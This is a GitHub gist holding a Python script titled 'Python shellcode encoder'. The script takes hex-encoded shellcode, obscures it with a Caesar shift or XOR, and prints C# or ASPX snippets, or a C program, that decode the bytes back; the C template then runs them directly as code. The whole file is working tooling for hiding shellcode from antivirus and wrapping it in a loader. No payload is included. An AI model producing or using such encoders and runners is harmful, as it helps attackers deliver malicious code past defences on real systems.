Created
October 13, 2022 00:07
-
-
Save siddicky/62a26ba7b8f7d1e5267e6dfd514087b1 to your computer and use it in GitHub Desktop.
Python shellcode encoder
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import argparse | |
import binascii | |
def encode_caesar(buf, args): | |
return [(c + args.shift) % 256 for c in buf] | |
def encode_xor(buf, args): | |
return [(c ^ args.shift) % 256 for c in buf] | |
encoders = { | |
"caesar": encode_caesar, | |
"xor": encode_xor, | |
} | |
def print_csharp(buf, args): | |
operator = "-" if args.mode == "caesar" else "^" | |
buf_arr = ",".join(map(hex, buf)) | |
print(f"byte[] buf = new byte[{len(buf)}] {{ {buf_arr} }};") | |
print(f"uint shift = {args.shift};") | |
print(f"for (int i = 0; i < buf.Length; i++)") | |
print(f"{{") | |
print(f" buf[i] = (byte)((buf[i] {operator} shift) & 0xFF);") | |
print(f"}}") | |
def print_c(buf, args): | |
def transform(c): | |
h = hex(c)[2:].zfill(2).upper() | |
return f"\\x{h}" | |
operator = "-" if args.mode == "caesar" else "^" | |
buf_arr = "".join(map(transform, buf)) | |
print(f"unsigned char buf[] = \"{buf_arr}\";") | |
print() | |
print(f"int main (int argc, char **argv) {{") | |
print(f" unsigned char shift = {args.shift};") | |
print(f" for (int i = 0; i < {len(buf)}; i++) {{") | |
print(f" buf[i] = buf[i] {operator} shift;") | |
print(f" }}") | |
print(f" int (*ret)() = (int(*)())buf;") | |
print(f" ret();") | |
print(f" return 0;") | |
print(f"}}") | |
printers = { | |
"csharp": print_csharp, | |
"aspx": print_csharp, | |
"c": print_c, | |
} | |
def parse_args(): | |
parser = argparse.ArgumentParser() | |
parser.add_argument("-m", "--mode", metavar="mode", default="caesar", | |
choices=list(encoders.keys()), help="encoder mode (default: %(default)s)", | |
) | |
parser.add_argument("-s", "--shift", metavar="shift", type=int, default=5, | |
help="operand for encode operator (default: %(default)s)", | |
) | |
parser.add_argument("-f", "--format", metavar="format", default="csharp", | |
choices=list(printers.keys()), help="output format (default: %(default)s)", | |
) | |
return parser.parse_args() | |
def main(): | |
args = parse_args() | |
buf = input() | |
buf = binascii.unhexlify(buf) | |
if args.mode not in encoders: | |
raise TypeError(f"invalid mode {args.mode}") | |
buf = encoders[args.mode](buf, args) | |
if args.format not in printers: | |
raise TypeError(f"invalid format {args.format}") | |
printers[args.format](buf, args) | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment